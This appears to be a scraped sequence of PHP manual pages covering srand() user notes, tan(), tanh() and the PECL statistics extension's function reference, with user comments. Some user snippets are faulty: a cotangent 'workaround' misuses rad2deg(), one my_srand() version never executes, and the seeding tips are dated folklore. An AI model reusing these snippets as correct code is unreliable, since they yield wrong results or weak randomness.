See for more details my note on the mt_srand() page [ function.mt_srand.php ]
houtex_boy-at-yahoo-dot-com 05-Oct-2001 05:52
The above function ^ will never execute anything. It should be something like this:

function my_srand($seed = '')
{
    static $wascalled = FALSE;
    if (!$wascalled){
        $seed = $seed === '' ? (double) microtime() * 1000000 : $seed;
        srand($seed);
        $wascalled = TRUE;
    }
}

&nbsp;
ceo at l-i-e dot com (fka richard at zend dot com) 24-Aug-2001 10:58
Here is a way to be sure you only call srand once:

function my_srand($seed = ''){
    static $wascalled = TRUE;
    if (!$wascalled){
        $seed = $seed === '' ? (double) microtime() * 1000000 : $seed;
        srand($seed);
    }
}
14-Aug-2001 10:14
I have a ramdon circulater that changes a piece of text once a day, and I use the following code to make sure the see is unique enough.

$tm = time();
$today = mktime(0, 0, 0, (int)date("n", $tm), (int)date("j", $tm), (int)date("Y", $tm));
srand($today / pi());

The pi works wonders for the whole thing and it works like a charm. Any other big decimal number will do as well, but pi is the most common "big" number.
akukula at min dot pl 14-Aug-2001 07:14
Calling srand((double)microtime()*1000000),
then $a=rand(1000000,9999999), then srand((double)microtime()*$a)
adds nothing to the entrophy: the execution time of rand and srand is
constant, so the second microtime() produces nothing really fascinating. You may safely use just the first srand().
vonStahl at NOPE2SPAM dot ratio dot net 27-Jul-2001 05:32
How about<br>
<?
srand((double)microtime()*1000000);
$seed = rand(1000000,9999999);
srand((double)microtime()*$seed);
$yadda = rand (1,100);
?><br>
I used this in a test run with 1,000.000 calls for $yadda. Processing time increased by 0.0000061 seconds compared to a simple "srand((double)microtime()*1000000);"
$yadda had the value of each number between 1 and 100 for between 0.99999122% and 1.00000872% of all calls. That's random and fast enough for me. :)
rjones at ditzed dot org 29-May-2001 12:02
As a sidenote on the usage of srand():

If you are making use of modular programming, it is probably better to try and call the srand routine from the parent script than from any modules you may be using (using REQUIRE or INCLUDE).
This way you get around the possibility of calling srand() more than once from different modules.

The flaw in this solution, of course, is when using modules produced by another programmer, or when producing modules for another programmer.
You cannot rely on another programmer calling the srand function before calling the modular function, so you would have to include the srand function inside the module in this case.

If you produce modules for use by other programmers then it is good practice to documentise the fact you have already called the srand function.
Or if you use a modular function produced by someone else, check their documentation, or check their source code.
rjones at ditzed dot org 29-May-2001 11:41
Use the srand() seed "(double)microtime()*1000000" as mentioned by the richard@zend.com at the top of these user notes.

The most notable effect of using any other seed is that your random numbers tend to follow the same, or very similar, sequences each time the script is invoked.

Take note of the following script:

<?php
  srand($val);

  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20);
?>

If you seed the generator with a constant, say; the number 5 ($val = 5), then the sequence generated is always the same, in this case (0, 18, 7, 15, 17) (for me at least, different processors/processor speeds/operating systems/OS releases/PHP releases/webserver software may generate different sequences).

If you seed the generator with time(), then the sequence is more random, but invokations that are very close together will have similar outputs.

As richard@zend.com above suggests, the best seed to use is (double) microtime() * 1000000, as this gives the greatest amount of psuedo-randomness. In fact, it is random enough to suit most users.
In a test program of 100000 random numbers between 1 and 20, the results were fairly balanced, giving an average of 5000 results per number, give or take 100. The deviation in each case varied with each invokation.
MakeMoolah at themail dot com 28-Jan-2001 03:16
Sorry about that...  ok, forget have of what I said up there ^.

The code that would prove my example is this:

<?php
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
?>

Each time you SHOULD get the same answer, but if you did this:

<?php
srand(5);
echo(rand(1, 10));
echo(rand(1, 10));
echo(rand(1, 10));
?>

then the answers would be different, and you'd be letting the random number formula do it's duty.
hagen at von-eitzen dot de 10-Oct-2000 03:51
It is REALLY essential to make sure that srand is called only once.
This is a bit difficult if the call is hidden somewhere in third-party code you include. For example, I used a standard banner script that *seemed* to work well putting
three random banners in one frame. But in the long run, the choice appeared
somewhat biased - probably because srand was called once per banner, not
once per run.
It would be nice if the random number generator worked like in PERL: If You use the random function without having called srand ever before in a script,
srand is invoked before (and automatically with a nice seed, hopefully).
I suggest that one should do something like this:

<?php
if (!$GLOBALS["IHaveCalledSrandBefore"]++) {
  srand((double) microtime() * 1000000);
}
?>

(Depending on the situation, one might also work with a static variable instead)
richard at zend dot com 05-Oct-2000 12:02
*ALWAYS* use
(double)microtime()*1000000
as your seed.
Do *NOT* just use time().  Do not add an extra 0 to make it "bigger".

Take care to call srand() only *ONCE* per script.

Calling
(double)microtime()*1000000
once, and only once, per script gives you the maximum "randomness" you can get.

Anything else is sub-standard.  If you want to understand why, there's a lot of reading you need to do...  I don't know enough to point you to the best text to get started on this reading.  For now, just trust the PHP Developers, okay?
sqrt
tan
Math Functions


Tangent

srand
tanh
Math Functions
PHP Manual

tan

(PHP 4, PHP 5)

tan — Tangent

Description

float tan ( float $arg )

tan() returns the tangent of the arg parameter. The arg parameter is in radians.

Parameters

arg

The argument to process in radians

Return Values

The tangent of arg

Examples

Example #1 tan() example

<?php

echo tan(M_PI_4); // 1

?>

See Also

  • atan() - Arc tangent
  • atan2() - Arc tangent of two variables
  • sin() - Sine
  • cos() - Cosine
  • tanh() - Hyperbolic tangent
  • deg2rad() - Converts the number in degrees to the radian equivalent

User Contributed Notes

georgedot at gmail dot com 10-Sep-2009 01:50
Workaround for cotangent function

<?php
//FOR PHP 4
function cot($rad)
{
    return tan(M_PI_2 - rad2deg($rad));
}

//FOR PHP 3
function cot($rad)
{
    return tan(M_PI/2 - rad2deg($rad));
}
?>
fformula at gmail dot com 10-Apr-2006 05:26
To find cotangent you can use
  tan (M_PI/2 - $alfa)
srand
tanh
Math Functions


Hyperbolic tangent

tan
Statistics
Math Functions
PHP Manual

tanh

(PHP 4 >= 4.1.0, PHP 5)

tanh — Hyperbolic tangent

Description

float tanh ( float $arg )

Returns the hyperbolic tangent of arg, defined as sinh(arg)/cosh(arg).

Parameters

arg

The argument to process

Return Values

The hyperbolic tangent of arg

See Also

  • tan() - Tangent
  • atanh() - Inverse hyperbolic tangent
  • sinh() - Hyperbolic sine
  • cosh() - Hyperbolic cosine

User Contributed Notes

There are no user contributed notes for this page.
tan
Statistics
Math Functions


Statistics

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Statistic Functions
    • stats_absolute_deviation — Returns the absolute deviation of an array of values
    • stats_cdf_beta — CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.
    • stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others.
    • stats_cdf_cauchy — Not documented
    • stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others.
    • stats_cdf_exponential — Not documented
    • stats_cdf_f — Calculates any one parameter of the F distribution given values for the others.
    • stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others.
    • stats_cdf_laplace — Not documented
    • stats_cdf_logistic — Not documented
    • stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others.
    • stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others.
    • stats_cdf_noncentral_f — Calculates any one parameter of the Non-central F distribution given values for the others.
    • stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others.
    • stats_cdf_t — Calculates any one parameter of the T distribution given values for the others.
    • stats_cdf_uniform — Not documented
    • stats_cdf_weibull — Not documented
    • stats_covariance — Computes the covariance of two data sets
    • stats_den_uniform — Not documented
    • stats_dens_beta — Not documented
    • stats_dens_cauchy — Not documented
    • stats_dens_chisquare — Not documented
    • stats_dens_exponential — Not documented
    • stats_dens_f — Description
    • stats_dens_gamma — Not documented
    • stats_dens_laplace — Not documented
    • stats_dens_logistic — Not documented
    • stats_dens_negative_binomial — Not documented
    • stats_dens_normal — Not documented
    • stats_dens_pmf_binomial — Not documented
    • stats_dens_pmf_hypergeometric — Description
    • stats_dens_pmf_poisson — Not documented
    • stats_dens_t — Not documented
    • stats_dens_weibull — Not documented
    • stats_harmonic_mean — Returns the harmonic mean of an array of values
    • stats_kurtosis — Computes the kurtosis of the data in the array
    • stats_rand_gen_beta — Generates beta random deviate
    • stats_rand_gen_chisquare — Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.
    • stats_rand_gen_exponential — Generates a single random deviate from an exponential distribution with mean "av"
    • stats_rand_gen_f — Generates a random deviate
    • stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)
    • stats_rand_gen_gamma — Generates random deviates from a gamma distribution
    • stats_rand_gen_ibinomial_negative — Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).
    • stats_rand_gen_ibinomial — Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE
    • stats_rand_gen_int — Generates random integer between 1 and 2147483562
    • stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).
    • stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)
    • stats_rand_gen_noncenral_chisquare — Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0
    • stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central denominator chisquare variate.
    • stats_rand_gen_noncentral_t — Generates a single random deviate from a noncentral T distribution
    • stats_rand_gen_normal — Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.
    • stats_rand_gen_t — Generates a single random deviate from a T distribution
    • stats_rand_get_seeds — Not documented
    • stats_rand_phrase_to_seeds — generate two seeds for the RGN random number generator
    • stats_rand_ranf — Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator
    • stats_rand_setall — Not documented
    • stats_skew — Computes the skewness of the data in the array
    • stats_standard_deviation — Returns the standard deviation
    • stats_stat_binomial_coef — Not documented
    • stats_stat_correlation — Not documented
    • stats_stat_gennch — Not documented
    • stats_stat_independent_t — Not documented
    • stats_stat_innerproduct — Description
    • stats_stat_noncentral_t — Calculates any one parameter of the noncentral t distribution give values for the others.
    • stats_stat_paired_t — Not documented
    • stats_stat_percentile — Not documented
    • stats_stat_powersum — Not documented
    • stats_variance — Returns the population variance

User Contributed Notes

There are no user contributed notes for this page.
tanh
Introduction
Mathematical Extensions


Introduction

This is the statistics extension. It contains few dozens of functions useful for statistical computations. It is a wrapper around 2 scientific libraries, namely DCDFLIB (Library of C routines for Cumulative Distributions Functions, Inverses, and Other parameters) by B. Brown & J. Lavato and RANDLIB by Barry Brown, James Lavato & Kathy Russell. Includes CD and PD functions.

User Contributed Notes

There are no user contributed notes for this page.
Statistics
Installing/Configuring
Statistics


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Statistics


Requirements

No external libraries are needed. The extension comes bundled with the libraries used.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/stats.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Statistic Functions
Statistics


Statistic Functions

Table of Contents

  • stats_absolute_deviation — Returns the absolute deviation of an array of values
  • stats_cdf_beta — CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.
  • stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others.
  • stats_cdf_cauchy — Not documented
  • stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others.
  • stats_cdf_exponential — Not documented
  • stats_cdf_f — Calculates any one parameter of the F distribution given values for the others.
  • stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others.
  • stats_cdf_laplace — Not documented
  • stats_cdf_logistic — Not documented
  • stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others.
  • stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others.
  • stats_cdf_noncentral_f — Calculates any one parameter of the Non-central F distribution given values for the others.
  • stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others.
  • stats_cdf_t — Calculates any one parameter of the T distribution given values for the others.
  • stats_cdf_uniform — Not documented
  • stats_cdf_weibull — Not documented
  • stats_covariance — Computes the covariance of two data sets
  • stats_den_uniform — Not documented
  • stats_dens_beta — Not documented
  • stats_dens_cauchy — Not documented
  • stats_dens_chisquare — Not documented
  • stats_dens_exponential — Not documented
  • stats_dens_f — Description
  • stats_dens_gamma — Not documented
  • stats_dens_laplace — Not documented
  • stats_dens_logistic — Not documented
  • stats_dens_negative_binomial — Not documented
  • stats_dens_normal — Not documented
  • stats_dens_pmf_binomial — Not documented
  • stats_dens_pmf_hypergeometric — Description
  • stats_dens_pmf_poisson — Not documented
  • stats_dens_t — Not documented
  • stats_dens_weibull — Not documented
  • stats_harmonic_mean — Returns the harmonic mean of an array of values
  • stats_kurtosis — Computes the kurtosis of the data in the array
  • stats_rand_gen_beta — Generates beta random deviate
  • stats_rand_gen_chisquare — Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.
  • stats_rand_gen_exponential — Generates a single random deviate from an exponential distribution with mean "av"
  • stats_rand_gen_f — Generates a random deviate
  • stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)
  • stats_rand_gen_gamma — Generates random deviates from a gamma distribution
  • stats_rand_gen_ibinomial_negative — Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).
  • stats_rand_gen_ibinomial — Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE
  • stats_rand_gen_int — Generates random integer between 1 and 2147483562
  • stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).
  • stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)
  • stats_rand_gen_noncenral_chisquare — Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0
  • stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central denominator chisquare variate.
  • stats_rand_gen_noncentral_t — Generates a single random deviate from a noncentral T distribution
  • stats_rand_gen_normal — Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.
  • stats_rand_gen_t — Generates a single random deviate from a T distribution
  • stats_rand_get_seeds — Not documented
  • stats_rand_phrase_to_seeds — generate two seeds for the RGN random number generator
  • stats_rand_ranf — Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator
  • stats_rand_setall — Not documented
  • stats_skew — Computes the skewness of the data in the array
  • stats_standard_deviation — Returns the standard deviation
  • stats_stat_binomial_coef — Not documented
  • stats_stat_correlation — Not documented
  • stats_stat_gennch — Not documented
  • stats_stat_independent_t — Not documented
  • stats_stat_innerproduct — Description
  • stats_stat_noncentral_t — Calculates any one parameter of the noncentral t distribution give values for the others.
  • stats_stat_paired_t — Not documented
  • stats_stat_percentile — Not documented
  • stats_stat_powersum — Not documented
  • stats_variance — Returns the population variance

User Contributed Notes

oliver at realtsp dot com 25-Jul-2008 01:17
There are some undocumented functions in this extension, eg I found the following by reading the DCDFLIB docs and some trial and error:

<?php

/**
 * stats_cdf_normal($x, $mean, $sd, 1)
 * @return float cumulative probablity
 */
echo stats_cdf_normal(1.96, 0, 1, 1) . "\n";

/**
 * stats_cdf_normal($p, $mean, $sd, 1)
 * @return float x which bounds cumulative probalility $p
 */
echo stats_cdf_normal(0.975, 0, 1, 2) . "\n";

// less useful
// echo stats_cdf_normal(0.4,0.5,0.6,3) . "\n";
// echo stats_cdf_normal(0.4,0.5,0.6,4) . "\n";
?>
Predefined Constants
stats_absolute_deviation
Statistics


Returns the absolute deviation of an array of values

Statistic Functions
stats_cdf_beta
Statistic Functions
PHP Manual

stats_absolute_deviation

(PECL stats >= 1.0.0)

stats_absolute_deviation — Returns the absolute deviation of an array of values

Description

float stats_absolute_deviation ( array $a )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Statistic Functions
stats_cdf_beta
Statistic Functions


CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.

stats_absolute_deviation
stats_cdf_binomial
Statistic Functions
PHP Manual

stats_cdf_beta

(PECL stats >= 1.0.0)

stats_cdf_beta — CDF function for BETA Distribution. Calculates any one parameter of the beta distribution given values for the others.

Description

float stats_cdf_beta ( float $par1 , float $par2 , float $par3 , int $which )

Method Cumulative distribution function (P) is calculated directly by code associated with the following reference. DiDinato, A. R. and Morris, A. H. Algorithm 708: Significant Digit Computation of the Incomplete Beta Function Ratios. ACM Trans. Math. Softw. 18 (1993), 360-373. Computation of other parameters involve a search for a value that produces the desired value of P. The search relies on the monotonicity of P with the other parameter. Note The beta density is proportional to t^(A-1) * (1-t)^(B-1) Arguments P -- The integral from 0 to X of the chi-square distribution. Input range: [0, 1]. Q -- 1-P. Input range: [0, 1]. P + Q = 1.0. X -- Upper limit of integration of beta density. Input range: [0,1]. Search range: [0,1] Y -- 1-X. Input range: [0,1]. Search range: [0,1] X + Y = 1.0. A -- The first parameter of the beta density. Input range: (0, +infinity). Search range: [1D-100,1D100] B -- The second parameter of the beta density. Input range: (0, +infinity). Search range: [1D-100,1D100] STATUS -- 0 if calculation completed correctly -I if input parameter number I is out of range 1 if answer appears to be lower than lowest search bound 2 if answer appears to be higher than greatest search bound 3 if P + Q .ne. 1 4 if X + Y .ne. 1 BOUND -- Undefined if STATUS is 0 Bound exceeded by parameter number I if STATUS is negative. Lower search bound if STATUS is 1. Upper search bound if STATUS is 2.

Parameters

par1

par2

par3

which

Integer indicating which of the next four argument values is to be calculated from the others. Legal range: 1..4 which = 1 : Calculate P and Q from X,Y,A and B which = 2 : Calculate X and Y from P,Q,A and B which = 3 : Calculate A from P,Q,X,Y and B which = 4 : Calculate B from P,Q,X,Y and A

Return Values

STATUS -- 0 if calculation completed correctly -I if input parameter number I is out of range 1 if answer appears to be lower than lowest search bound 2 if answer appears to be higher than greatest search bound 3 if P + Q .ne. 1 4 if X + Y .ne. 1

User Contributed Notes

Anonymous 30-Dec-2009 12:29
Additional Notes, taken from source.
 WHICH --> Integer indicating which of the next four argument
       values is to be calculated from the others.
     Legal range: 1..4
     iwhich = 1 : Calculate P and Q from X,Y,A and B
     iwhich = 2 : Calculate X and Y from P,Q,A and B
     iwhich = 3 : Calculate A from P,Q,X,Y and B
     iwhich = 4 : Calculate B from P,Q,X,Y and A

     P <--> The integral from 0 to X of the chi-square
     distribution.
     Input range: [0, 1].

     Q <--> 1-P.
     Input range: [0, 1].
     P + Q = 1.0.

     X <--> Upper limit of integration of beta density.
     Input range: [0,1].
     Search range: [0,1]

     Y <--> 1-X.
     Input range: [0,1].
     Search range: [0,1]
     X + Y = 1.0.

     A <--> The first parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]

     B <--> The second parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]
stats_absolute_deviation
stats_cdf_binomial
Statistic Functions


Calculates any one parameter of the binomial distribution given values for the others.

stats_cdf_beta
stats_cdf_cauchy
Statistic Functions
PHP Manual

stats_cdf_binomial

(PECL stats >= 1.0.0)

stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others.

Description

float stats_cdf_binomial ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_beta
stats_cdf_cauchy
Statistic Functions


Not documented

stats_cdf_binomial
stats_cdf_chisquare
Statistic Functions
PHP Manual

stats_cdf_cauchy

(PECL stats >= 1.0.0)

stats_cdf_cauchy — Not documented

Description

float stats_cdf_cauchy ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_binomial
stats_cdf_chisquare
Statistic Functions


Calculates any one parameter of the chi-square distribution given values for the others.

stats_cdf_cauchy
stats_cdf_exponential
Statistic Functions
PHP Manual

stats_cdf_chisquare

(PECL stats >= 1.0.0)

stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others.

Description

float stats_cdf_chisquare ( float $par1 , float $par2 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

which

Return Values

User Contributed Notes

clifflu at gmail dot com 08-Feb-2011 10:28
To get the chi-square CDF (Cumulative Distribution Function), pass chi-square, DOF (Degree of Freedom), and 1 in this order.
CDF = 1 - p-value
stats_cdf_cauchy
stats_cdf_exponential
Statistic Functions


Not documented

stats_cdf_chisquare
stats_cdf_f
Statistic Functions
PHP Manual

stats_cdf_exponential

(PECL stats >= 1.0.0)

stats_cdf_exponential — Not documented

Description

float stats_cdf_exponential ( float $par1 , float $par2 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_chisquare
stats_cdf_f
Statistic Functions


Calculates any one parameter of the F distribution given values for the others.

stats_cdf_exponential
stats_cdf_gamma
Statistic Functions
PHP Manual

stats_cdf_f

(PECL stats >= 1.0.0)

stats_cdf_f — Calculates any one parameter of the F distribution given values for the others.

Description

float stats_cdf_f ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

brjann (theat) gmail (thedot) com 06-Oct-2007 06:18
Input  and return values of stats_cdf_t depends on the $which-parameter:
<?php
function get_t_p($t, $df){
   return stats_cdf_t($t, $df, 1);
}

function get_t_t($p, $df){
   return stats_cdf_t($p, $df, 2);
}

function get_t_df($p, $t){
   return stats_cdf_t($p, $t, 3);
}
?>
stats_cdf_exponential
stats_cdf_gamma
Statistic Functions


Calculates any one parameter of the gamma distribution given values for the others.

stats_cdf_f
stats_cdf_laplace
Statistic Functions
PHP Manual

stats_cdf_gamma

(PECL stats >= 1.0.0)

stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others.

Description

float stats_cdf_gamma ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_f
stats_cdf_laplace
Statistic Functions


Not documented

stats_cdf_gamma
stats_cdf_logistic
Statistic Functions
PHP Manual

stats_cdf_laplace

(PECL stats >= 1.0.0)

stats_cdf_laplace — Not documented

Description

float stats_cdf_laplace ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_gamma
stats_cdf_logistic
Statistic Functions


Not documented

stats_cdf_laplace
stats_cdf_negative_binomial
Statistic Functions
PHP Manual

stats_cdf_logistic

(PECL stats >= 1.0.0)

stats_cdf_logistic — Not documented

Description

float stats_cdf_logistic ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_laplace
stats_cdf_negative_binomial
Statistic Functions


Calculates any one parameter of the negative binomial distribution given values for the others.

stats_cdf_logistic
stats_cdf_noncentral_chisquare
Statistic Functions
PHP Manual

stats_cdf_negative_binomial

(PECL stats >= 1.0.0)

stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others.

Description

float stats_cdf_negative_binomial ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_logistic
stats_cdf_noncentral_chisquare
Statistic Functions


Calculates any one parameter of the non-central chi-square distribution given values for the others.

stats_cdf_negative_binomial
stats_cdf_noncentral_f
Statistic Functions
PHP Manual

stats_cdf_noncentral_chisquare

(PECL stats >= 1.0.0)

stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others.

Description

float stats_cdf_noncentral_chisquare ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_negative_binomial
stats_cdf_noncentral_f
Statistic Functions


Calculates any one parameter of the Non-central F distribution given values for the others.

stats_cdf_noncentral_chisquare
stats_cdf_poisson
Statistic Functions
PHP Manual

stats_cdf_noncentral_f

(PECL stats >= 1.0.0)

stats_cdf_noncentral_f — Calculates any one parameter of the Non-central F distribution given values for the others.

Description

float stats_cdf_noncentral_f ( float $par1 , float $par2 , float $par3 , float $par4 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

par4

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_noncentral_chisquare
stats_cdf_poisson
Statistic Functions


Calculates any one parameter of the Poisson distribution given values for the others.

stats_cdf_noncentral_f
stats_cdf_t
Statistic Functions
PHP Manual

stats_cdf_poisson

(PECL stats >= 1.0.0)

stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others.

Description

float stats_cdf_poisson ( float $par1 , float $par2 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_noncentral_f
stats_cdf_t
Statistic Functions


Calculates any one parameter of the T distribution given values for the others.

stats_cdf_poisson
stats_cdf_uniform
Statistic Functions
PHP Manual

stats_cdf_t

(PECL stats >= 1.0.0)

stats_cdf_t — Calculates any one parameter of the T distribution given values for the others.

Description

float stats_cdf_t ( float $par1 , float $par2 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

which

Return Values

User Contributed Notes

Brian 14-Oct-2010 02:14
In order to match the output of this function with Excel's TDIST function, you must take 1 - the value.  For example, for a two-tailed T-distribution for x=4 and degrees of freedom=2, the formula would be:

(1 - stats_cdf_t(4, 2, 1)) * 2

For a single tail, do not include the multiply by 2 portion.
stats_cdf_poisson
stats_cdf_uniform
Statistic Functions


Not documented

stats_cdf_t
stats_cdf_weibull
Statistic Functions
PHP Manual

stats_cdf_uniform

(PECL stats >= 1.0.0)

stats_cdf_uniform — Not documented

Description

float stats_cdf_uniform ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_t
stats_cdf_weibull
Statistic Functions


Not documented

stats_cdf_uniform
stats_covariance
Statistic Functions
PHP Manual

stats_cdf_weibull

(PECL stats >= 1.0.0)

stats_cdf_weibull — Not documented

Description

float stats_cdf_weibull ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_uniform
stats_covariance
Statistic Functions


Computes the covariance of two data sets

stats_cdf_weibull
stats_den_uniform
Statistic Functions
PHP Manual

stats_covariance

(PECL stats >= 1.0.0)

stats_covariance — Computes the covariance of two data sets

Description

float stats_covariance ( array $a , array $b )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_cdf_weibull
stats_den_uniform
Statistic Functions


Not documented

stats_covariance
stats_dens_beta
Statistic Functions
PHP Manual

stats_den_uniform

(PECL stats >= 1.0.0)

stats_den_uniform — Not documented

Description

float stats_den_uniform ( float $x , float $a , float $b )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_covariance
stats_dens_beta
Statistic Functions


Not documented

stats_den_uniform
stats_dens_cauchy
Statistic Functions
PHP Manual

stats_dens_beta

(PECL stats >= 1.0.0)

stats_dens_beta — Not documented

Description

float stats_dens_beta ( float $x , float $a , float $b )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_den_uniform
stats_dens_cauchy
Statistic Functions


Not documented

stats_dens_beta
stats_dens_chisquare
Statistic Functions
PHP Manual

stats_dens_cauchy

(PECL stats >= 1.0.0)

stats_dens_cauchy — Not documented

Description

float stats_dens_cauchy ( float $x , float $ave , float $stdev )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

ave

stdev

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_beta
stats_dens_chisquare
